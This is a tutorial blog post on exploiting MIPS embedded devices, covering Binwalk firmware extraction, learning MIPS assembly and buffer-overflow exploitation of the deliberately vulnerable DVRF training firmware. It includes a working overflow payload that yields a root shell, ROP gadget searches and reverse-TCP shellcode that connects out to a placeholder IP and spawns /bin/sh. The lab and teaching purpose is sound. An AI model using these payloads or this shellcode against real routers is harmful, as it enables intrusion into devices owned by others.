Reversing and Exploiting Embedded Devices: The Software Stack (Part 1)
Posted by Elvis Collado
Over the course of the past few months I've been traveling around educating people on exploiting embedded devices. My slides alone aren't able to provide enough information, so I wanted to write everything out for people to digest online. The following blog post is "Part 1", which will introduce the reader to the software side of embedded devices. I decided to cover software first since most flaws reside within the software stack, ranging from binary applications to drivers. Part 2 will cover the Hardware stack with a focus on educating the reader on how JTAG actually works and how to leverage Hardware modifications to either bypass password protections or to extract secrets that may be baked into the targeted device.
Table of Contents
- Firmware Extraction with Binwalk
- Learning your target's ASM
- DVRFv0.3 socket_bof Solution
Once you're able to get a hold of the firmware binary that is embedded within your own device, you'll want to see what's inside. Luckily there's an open source tool called Binwalk that will parse the target binary for magic bytes which can be found here.
To give a visual representation of how this all works I'll use Binwalk to extract DVRFv0.3.
Extracting the contents of the binary image via
binwalk -e file_name
Binwalk showing detected structures and their offsets within the binary.
Using xxd within vim shows that the offsets provided by binwalk for TRX and gzip match up. (Use vim to open DVRF_v03.bin and then type in :%!xxd)
Cross referencing the TRX structure that binwalk uses.
Cross referencing the gzip structure that binwalk uses.
Using xxd within vim to cross reference the offset for the SquashFS structure that was detected by binwalk.
Cross referencing the SquashFS structure that binwalk uses.
If you're inexperienced with the ASM of your target device, you can use C and a disassembler to quickly learn it. In my opinion, the following are the most important things to look at first when learning a new ASM:
- Argument passing
- Function entries and returns
- Stack usage
- Function calls
- Branch conditionals
In this post I'll be showing how I personally taught myself MIPS-I ASM just by using a disassembler and C.
Here is a very simple C application that passes two (int) arguments to another function that returns the sum of the two integers.
Once you've cross compiled your C application you'll want to throw into a disassembler.
While we have the graph view up we can press g and then a to look at the
Make sure to account for situations where the number of arguments passed to a function is greater than the number of argument register available. For example MIPS utilizes $a0 - $a3 so let's modify the code that we wrote above to have more than 4 arguments.
Just like before we'll compile this with our cross compiler and throw into Radare2 to see what the compiler generated
So now we know that if there's more than 4 arguments being passed to a function then the other arguments will be pushed onto the stack.
Function entries, calls, and returns
One thing to note on MIPS and ARM based processors is the dedicated return address register. Whenever a "Jump and Link" instruction is performed on MIPS you'll know that the address of that register will be the current address of the instruction Pointer plus 8 bytes. The 8-byte offset is due to something called pipelining since PC+4 will execute before the jump happens. Let's compile an application that calls 2 or more functions before finally returning back to main().
So remember that a call (JAL) will populate the return address register with $PC+8 but if the called function then calls another function, the $ra register will be overwritten and the address of the callee will be lost. To prevent this the return address is first saved onto the stack upon function entry. With this knowledge we will see that all functions will save the return address onto the stack except for call_two because that function does not call any other functions.
Just by analyzing the function entry we can predict whether or not the function will call another function. This is useful when trying to find memory corruption vulnerabilities that lie within the stack.
One of the most important things a researcher needs to know when analyzing a new architecture is how the processor deals with branching. Just like before we'll be utilizing C and Radare2 to analyze this.
The following application will take an input from argv, cast it as an int, and see if it's less than 5.
Now let's see what the compiler will generate to satisfy our conditionals.
We can see the usage of the slti instruction whenever we do a less than comparison. Conditionals are going to be the most time consuming part of learning a new assembly language due to the vast amount of comparison operators and types. Refer to your C references to make sure you analyze all of the different ways to generate a conditional branch. For example in MIPS there are conditionals that either use signed or unsigned immediates which could potentially be abused.
Now that you've seen a few examples you should have the skill set to learn the architecture and assembly of any processor as long as you have a compiler and disassembler. If you don't then you'll unfortunately have to do it the hard way and read the developers manual for the processor and eventually design your own assembler, emulator, and disassembler.
If you're auditing a device that utilizes open source software the software will likely be licensed under the General Public License. If so then in a nutshell if the developer uses the code and compiles it, the source code must be provided! If the developer refuses to release the source then they are in violation of GPL.
With this in mind a lot of routers or other small form factor devices utilize Linux (or FreeRTOS), Busybox, and other open source software which utilize GPL. So before you begin your disassembly adventure try performing a simple Google search with the phrase "$Vendor Source Code" OR "$Product Source Code". Here are some sample source code repositories I personally found just by googling around.
|Samsung Open Source Release Center||Search Term: Samsung Source Code|
|ASUS RT-AC68U Source Code||Search Term: AC-68U Source Code
Select OS to Other and you'll see the Source Code section.
|Belkin Open Source Code Center||Search Term: Belkin Source Code|
|GPL Code Center - TP-LINK||Search Term: TP-Link Source Code|
You should get the idea by now of how you can easily utilize Google or your favorite search engine to find the source code tarball of the device that you're auditing.
This section is going to assume that the reader has basic knowledge of exploiting memory corruption based vulnerabilities. If not then please refer to the SmashtheStack reference at the bottom of this page. SmashtheStack is where I personally started my journey into x86 exploitation.
If you're auditing a MIPS based Linux embedded device then odds are you've seen the following when analyzing your targeted binary:
As you can see the stack and heap regions are marked as executable so NX is not of worry. Even though the stack is executable a bit of ROP'ing is needed in order to get code execution. You'll also find that ASLR is not implemented in most devices so we don't have to find an information disclosure bug first.
Once you extract the firmware with Binwalk you'll want to emulate the binary in order to analyze the crash. I personally use a statically built version of QEMU that can be launched within a chroot environment of the extracted firmware. This gives the exploit developer access to the same libc library that the embedded device uses so the only thing that will change is the libc address. Sometimes creating a full QEMU system is needed because the host may not support the IO calls the binary is using resulting in a crash.
If you're using a debian-based Linux Distro then you can install QEMU via apt-get.
sudo apt-get install qemu-user-static qemu-system-*
Once you have QEMU installed you'll want to copy the binary into the root directory of the extracted firmware. For this example we'll be using the MIPS Little Endian emulator for DVRF_v03.
cp `which qemu-mipsel-static` ./
We'll be using the pwnable binary /pwnable/Intro/stack_bof_01 and craft a small exploit for it. We'll then take our payload and paste it over to the actual device to see what happens.
The binary's source code is as follows:
So we have a simple stack based buffer overflow vulnerability. The goal is to execute the function "dat_shell" but when analyzing the ELF file we see the following:
Entry point address: 0x00400630
Since we cannot have NULL bytes in our payload we will have to rely on performing a partial overwrite. Since this is Little Endian we can overwrite the 3 lowest bytes while keeping the highest byte set to NULL. This technique wouldn't work if the architecture was Big Endian.
To demonstrate the power of emulating your environment I will craft the payload while also showing how to grab the emulated address for all loaded libraries.
b1ack0wl@b1ack0wl-VM ~/DVRF/_DVRF_v03.bin.extracted/squashfs-root $ sudo chroot . ./qemu-mipsel-static -g 1234 ./pwnable/Intro/stack_bof_01 "Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2A"
We then attach GDB locally to port 1234
(gdb) target remote 127.0.0.1:1234 127.0.0.1:1234: Connection timed out. (gdb) target remote 127.0.0.1:1234 Remote debugging using 127.0.0.1:1234 0x767b9a80 in ?? () (gdb) c Continuing. Program received signal SIGSEGV, Segmentation fault. 0x41386741 in ?? () (gdb) i r zero at v0 v1 a0 a1 a2 a3 R0 00000000 fffffff8 00000041 767629b8 0000000a 767629c3 0000000b 00000000 t0 t1 t2 t3 t4 t5 t6 t7 R8 81010100 7efefeff 37674136 41386741 68413967 31684130 41326841 68413368 s0 s1 s2 s3 s4 s5 s6 s7 R16 00000000 00000000 00000000 ffffffff 76fff634 0040059c 00000002 004007e0 t8 t9 k0 k1 gp sp s8 ra R24 766e65e0 766ef270 00000000 00000000 00448cd0 76fff558 37674136 41386741 sr lo hi bad cause pc 20000010 0000000a 00000000 41386740 00000000 41386741 fsr fir 00000000 00739300
We see that PC is set to
A8gA, which is at offset 204 which tells us that our saved instruction is at 208 bytes but we will only overwrite 3 of those 4 bytes.
We will try this again but with an end goal of making $RA 0x00424242.
b1ack0wl@b1ack0wl-VM ~/DVRF/_DVRF_v03.bin.extracted/squashfs-root $ sudo chroot . ./qemu-mipsel-static -g 1234 ./pwnable/Intro/stack_bof_01 "Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7BBB"
(gdb) target remote 127.0.0.1:1234 Remote debugging using 127.0.0.1:1234 Program received signal SIGTRAP, Trace/breakpoint trap. 0x767b9a80 in ?? () (gdb) c Continuing. Program received signal SIGSEGV, Segmentation fault. 0x00424242 in ?? () (gdb) i r zero at v0 v1 a0 a1 a2 a3 R0 00000000 fffffff8 00000041 767629b8 0000000a 767629c3 0000000b 00000000 t0 t1 t2 t3 t4 t5 t6 t7 R8 81010100 7efefeff 41366641 66413766 39664138 41306741 67413167 33674132 s0 s1 s2 s3 s4 s5 s6 s7 R16 00000000 00000000 00000000 ffffffff 76fff694 0040059c 00000002 004007e0 t8 t9 k0 k1 gp sp s8 ra R24 766e65e0 766ef270 00000000 00000000 00448cd0 76fff5b8 37674136 00424242 sr lo hi bad cause pc 20000010 0000000a 00000000 00424242 00000000 00424242 fsr fir 00000000 00739300 (gdb) disass dat_shell Dump of assembler code for function dat_shell: 0x00400950 <+0>: lui gp,0x5 /* 0x00400954 <+4>: addiu gp,gp,-31872 Skip over 0x00400958 <+8>: addu gp,gp,t9 */ 0x0040095c <+12>: addiu sp,sp,-32 // This is where we need to jump to 0x00400960 <+16>: sw ra,28(sp) 0x00400964 <+20>: sw s8,24(sp) 0x00400968 <+24>: move s8,sp 0x0040096c <+28>: sw gp,16(sp)
We want to skip the instructions that modify $gp since the application will crash. So we will jump to 0x0040095c.
b1ack0wl@b1ack0wl-VM ~/DVRF/_DVRF_v03.bin.extracted/squashfs-root $ sudo chroot . ./qemu-mipsel-static -g 1234 ./pwnable/Intro/stack_bof_01 "Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7`echo -e '\\x5c\\x09\\x40'`" Welcome to the first BoF exercise! You entered Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7\ @ Try Again Congrats! I will now execute /bin/sh - b1ack0wl
We can even set a breakpoint to make sure we're jumping to the right offset within the function.
(gdb) target remote 127.0.0.1:1234 Remote debugging using 127.0.0.1:1234 warning: Unable to find dynamic linker breakpoint function. GDB will be unable to debug shared library initializers and track explicitly loaded dynamic code. 0x767b9a80 in ?? () (gdb) break *0x0040095c Breakpoint 1 at 0x40095c (gdb) c Continuing. warning: Could not load shared library symbols for 3 libraries, e.g. /lib/libgcc_s.so.1. Use the "info sharedlibrary" command to see the complete listing. Do you need "set solib-search-path" or "set sysroot"? Breakpoint 1, 0x0040095c in dat_shell () (gdb) i r zero at v0 v1 a0 a1 a2 a3 R0 00000000 fffffff8 00000041 767629b8 0000000a 767629c3 0000000b 00000000 t0 t1 t2 t3 t4 t5 t6 t7 R8 81010100 7efefeff 41366641 66413766 39664138 41306741 67413167 33674132 s0 s1 s2 s3 s4 s5 s6 s7 R16 00000000 00000000 00000000 ffffffff 76fff694 0040059c 00000002 004007e0 t8 t9 k0 k1 gp sp s8 ra R24 766e65e0 766ef270 00000000 00000000 00448cd0 76fff5b8 37674136 0040095c sr lo hi bad cause pc 20000010 0000000a 00000000 00000000 00000000 0040095c fsr fir 00000000 00739300 (gdb) x/3i $pc => 0x40095c <dat_shell+12>: addiu sp,sp,-32 0x400960 <dat_shell+16>: sw ra,28(sp) 0x400964 <dat_shell+20>: sw s8,24(sp)
We'll take this same exact payload to the embedded device and the exploit should work as expected.
\# cd / \# ./pwnable/Intro/stack_bof_01 "Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7`echo -e '\\x5c\\x09\\x40'`" tered Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag7\ @ Try Again Congrats! I will now execute /bin/sh - b1ack0wl id uid=0(root) gid=0(root)
To find the addresses of the imported libraries within gdb you need to do the following:
(gdb) set solib-search-path /<path to>/_DVRF_v03.bin.extracted/squashfs-root/lib/ (gdb) info sharedlibrary From To Syms Read Shared Object Library 0x76767b00 0x76774c20 Yes (*) /home/b1ack0wl/DVRF/_DVRF_v03.bin.extracted/squashfs-root/lib/libgcc_s.so.1 0x766eb710 0x7671c940 Yes (*) /home/b1ack0wl/DVRF/_DVRF_v03.bin.extracted/squashfs-root/lib/libc.so.0 0x767b9a80 0x767bd800 Yes (*) /home/b1ack0wl/DVRF/_DVRF_v03.bin.extracted/squashfs-root/lib/ld-uClibc.so.0
To get the base address you'll want to subtract the Entry Point address from the "From" address in the table. For example the base address of libc.so.0 is found by doing the following:
b1ack0wl@b1ack0wl-VM ~/DVRF/_DVRF_v03.bin.extracted/squashfs-root/lib $ readelf -a ./libc.so.0 | more ELF Header: Magic: 7f 45 4c 46 01 01 01 00 00 00 00 00 00 00 00 00 Class: ELF32 Data: 2's complement, little endian Version: 1 (current) OS/ABI: UNIX - System V ABI Version: 0 Type: DYN (Shared object file) Machine: MIPS R3000 Version: 0x1 Entry point address: 0x6710 // Address to subtract
libc.so.0 = 0x766eb710 - 0x6710 = 0x766E5000
We then can utilize Radare2 to disassemble the library and give us the offset of the instructions.
**[Radare2]** b1ack0wl@b1ack0wl-VM ~/DVRF/_DVRF_v03.bin.extracted/squashfs-root $ r2 ./lib/libc.so.0 -- Remember to maintain your ~/.radare_history [0x00006710]> aaaa [0x00006710]> s sym.printf [0x000179e0]> // This is the offset we need to add in order to get to printf **[GDB]** (gdb) x/10i 0x766E5000+0x000179e0 0x766fc9e0 <printf>: lui gp,0x7 // Same Instructions as Radare2 (gdb values in decimal vs hex) 0x766fc9e4 <printf+4>: addiu gp,gp,-17424 0x766fc9e8 <printf+8>: addu gp,gp,t9 0x766fc9ec <printf+12>: addiu sp,sp,-40 0x766fc9f0 <printf+16>: sw ra,32(sp) 0x766fc9f4 <printf+20>: sw gp,16(sp) 0x766fc9f8 <printf+24>: lw v0,-30788(gp) **[Radare2]** [0x000179e0]> pd / (fcn) sym.printf 88 | 0x000179e0 07001c3c lui gp, 7 // Same Instructions as seen in Radare2 | 0x000179e4 f0bb9c27 addiu gp, gp, -0x4410 | 0x000179e8 21e09903 addu gp, gp, t9 | 0x000179ec d8ffbd27 addiu sp, sp, -0x28 | 0x000179f0 2000bfaf sw ra, 0x20(sp) | 0x000179f4 1000bcaf sw gp, 0x10(sp) | 0x000179f8 bc87828f lw v0, -0x7844(gp)
So once you build your ROP chain all you need to do is replace the libc address that can be found via
cat /proc/[pid]/maps. The base address there is the number you need. If the chain works in QEMU there's a 99% probability that it'll work on the actual device.
While designing the exercises in the DVRF project I wanted to include the most common types of vulnerabilities that I've personally seen. The most common would have to be stack based buffer overflows which can be a bit challenging to exploit if you're unfamiliar with the ASM.
The following exploit code took about 8 hours to craft because I was still learning MIPS assembly but the exploit was crafted in QEMU before taking it over to the Linksys device.
Since the stack is executable and the libraries don't shift addresses we can hardcode our ROP chain but ultimately the idea of the ROP chain is to move the value within $SP into a register that can be called. Hardcoding stack addresses is not reliable in my opinion and I prefer to use offsets instead. Below is the maps output from the pwnable binary.
# ./socket_bof 8888 & Binding to port 8888 11554 # cat /proc/11554/maps 00400000-00402000 r-xp 00000000 1f:02 218 /pwnable/ShellCode_Required/socket_bof 00441000-00442000 rw-p 00001000 1f:02 218 /pwnable/ShellCode_Required/socket_bof 2aaa8000-2aaad000 r-xp 00000000 1f:02 440 /lib/ld-uClibc.so.0 2aaad000-2aaae000 rw-p 2aaad000 00:00 0 2aaec000-2aaed000 r--p 00004000 1f:02 440 /lib/ld-uClibc.so.0 2aaed000-2aaee000 rw-p 00005000 1f:02 440 /lib/ld-uClibc.so.0 2aaee000-2aafe000 r-xp 00000000 1f:02 445 /lib/libgcc_s.so.1 2aafe000-2ab3d000 ---p 2aafe000 00:00 0 2ab3d000-2ab3e000 rw-p 0000f000 1f:02 445 /lib/libgcc_s.so.1 2ab3e000-2ab79000 r-xp 00000000 1f:02 444 /lib/libc.so.0 2ab79000-2abb9000 ---p 2ab79000 00:00 0 2abb9000-2abba000 rw-p 0003b000 1f:02 444 /lib/libc.so.0 2abba000-2abbe000 rw-p 2abba000 00:00 0 7f81e000-7f833000 rwxp 7f81e000 00:00 0 [stack]
Address 0x2ab3e000 is the base of the executable region of libc so this is the only value that should change from the QEMU exploit when targeting it at the device.
The entire ROP chain was used with Radare2's /R function. For example I was looking for "move t9, a1" for my last ROP Gadget and found it by doing the following:
[0x00017ae0]> /R move t9, a1 0x0001f078 4c0082ac sw v0, 0x4c(a0) 0x0001f07c 21c8a000 move t9, a1 0x0001f080 4c008424 addiu a0, a0, 0x4c 0x0001f084 08002003 jr t9 0x0001f088 2128c000 move a1, a2 0x0001fbc8 380082ac sw v0, 0x38(a0) 0x0001fbcc 21c8a000 move t9, a1 // Offset within Libc that was used for Gadget #4 0x0001fbd0 38008424 addiu a0, a0, 0x38 0x0001fbd4 08002003 jr t9 0x0001fbd8 2128c000 move a1, a2 [0x00017ae0]>
If we look at the Bowcaster Reverse_TCP shellcode we will see that the C code above and the Bowcaster Shellcode are the same
shellcode = string.join([ "\xfa\xff\x0f\x24", # li t7,-6 "\x27\x78\xe0\x01", # nor t7,t7,zero "\xfd\xff\xe4\x21", # addi a0,t7,-3 "\xfd\xff\xe5\x21", # addi a1,t7,-3 "\xff\xff\x06\x28", # slti a2,zero,-1 # Socket SYSCall "\x57\x10\x02\x24", # li v0,4183 "\x0c\x01\x01\x01", # syscall 0x40404 "\xff\xff\xa2\xaf", # sw v0,-1(sp) "\xff\xff\xa4\x8f", # lw a0,-1(sp) "\xfd\xff\x0f\x3c", # lui t7,0xfffd "\x27\x78\xe0\x01", # nor t7,t7,zero "\xe0\xff\xaf\xaf", # sw t7,-32(sp) # Connect back port 8080 "\x1f\x90\x0e\x3c", # lui t6,0x901f "\x1f\x90\xce\x35", # ori t6,t6,0x901f "\xe4\xff\xae\xaf", # sw t6,-28(sp) # IP Address IP_3+IP_4+"\x0e\x3c", # lui t6,<ip> IP_1+IP_2+"\xce\x35", # ori t6,t6,<ip> "\xe6\xff\xae\xaf", # sw t6,-26(sp) "\xe2\xff\xa5\x27", # addiu a1,sp,-30 "\xef\xff\x0c\x24", # li t4,-17 "\x27\x30\x80\x01", # nor a2,t4,zero # Socket Connect SYSCALL "\x4a\x10\x02\x24", # li v0,4170 "\x0c\x01\x01\x01", # syscall 0x40404 "\xfd\xff\x0f\x24", # li t7,-3 "\x27\x78\xe0\x01", # nor t7,t7,zero "\xff\xff\xa4\x8f", # lw a0,-1(sp) "\x21\x28\xe0\x01", # move a1,t7 # Dup2 SYSCAL "\xdf\x0f\x02\x24", # li v0,4063 "\x0c\x01\x01\x01", # syscall 0x40404 "\xff\xff\x10\x24", # li s0,-1 "\xff\xff\xef\x21", # addi t7,t7,-1 "\xfa\xff\xf0\x15", # bne t7,s0,68 <dup2_loop> "\xff\xff\x06\x28", # slti a2,zero,-1 "\x62\x69\x0f\x3c", # lui t7,0x6962 "\x2f\x2f\xef\x35", # ori t7,t7,0x2f2f "\xec\xff\xaf\xaf", # sw t7,-20(sp) "\x73\x68\x0e\x3c", # lui t6,0x6873 "\x6e\x2f\xce\x35", # ori t6,t6,0x2f6e "\xf0\xff\xae\xaf", # sw t6,-16(sp) "\xf4\xff\xa0\xaf", # sw zero,-12(sp) "\xec\xff\xa4\x27", # addiu a0,sp,-20 "\xf8\xff\xa4\xaf", # sw a0,-8(sp) "\xfc\xff\xa0\xaf", # sw zero,-4(sp) "\xf8\xff\xa5\x27", # addiu a1,sp,-8 # Execve SYSCALL "\xab\x0f\x02\x24", # li v0,4011 "\x0c\x01\x01\x01" # syscall 0x40404 ], '')
- First Setup Socket (Syscall w/ Value 4183)
- Connect to the Socket (Syscall w/ Value 4170)
- Call dup2 for stdin/stdout redirection (Syscall w/ Value 4063)
- Call Execve with /bin/sh (Syscall w/ Value 4011)
We can verify the syscall by looking at the disassembly of the C function in Radare2. We'll go ahead and verify the Socket system call.
=-------------------------= | [0x400680] | | __GI_socket: | | (fcn) sym.socket 36 | | lui gp, 5 | | addiu gp, gp, -0x6600 | | addu gp, gp, t9 | | addiu sp, sp, -0x20 | | sw ra, 0x1c(sp) | | sw s0, 0x18(sp) | | sw gp, 0x10(sp) | | addiu v0, zero, 0x1057 | // Hex 0x1057 is 4183 in decimal | syscall | =-------------------------=
We can see that the syscall with value 4183 is the call to the C function socket(). All of the other syscalls were verified in the same fashion.
Please also note that shellcode doesn't work 100% within user-land QEMU. The behavior you'll see with this shellcode is a TCP connection back but with an error message instead of an interactive shell. The shellcode when running on the actual device performs as expected.
One easy way to analyze the instructions that were executed during runtime is to utilize Qira. The following image shows how Qira is useful for analyzing binaries without the need for setting breakpoints.
Qira web-based output which shows all of the instructions and syscalls that were executed.
So in conclusion sometimes reinventing the wheel isn't neccessary when crafting an exploit but designing your own shellcode and shellcode encoder is good practice for exploit development. Be sure to utilize all available tools first before you decided to design everything by scratch. There's nothing wrong with utilizing existing shellcode especially if it ends up working against your target but be sure to audit any shellcode you find online before using it.
|Binwalk||For Extracting Binary Images|
|Blog - /dev/ttyS0||Embedded Device hacking blog|
|BowCaster||MIPS exploitation framework|
|Buildroot||For compiling your own uClibc toolchain|
|QEMU||For emulating different CPU architectures|
|WikiPedia Article on GPL||GPL information|
|SmashtheStack||Wargame Server. Section IO focuses on memory corruption|
|Qira||Timeless Debugger by Geohot|
|Linux MIPS||Good Reference for Linux on MIPS|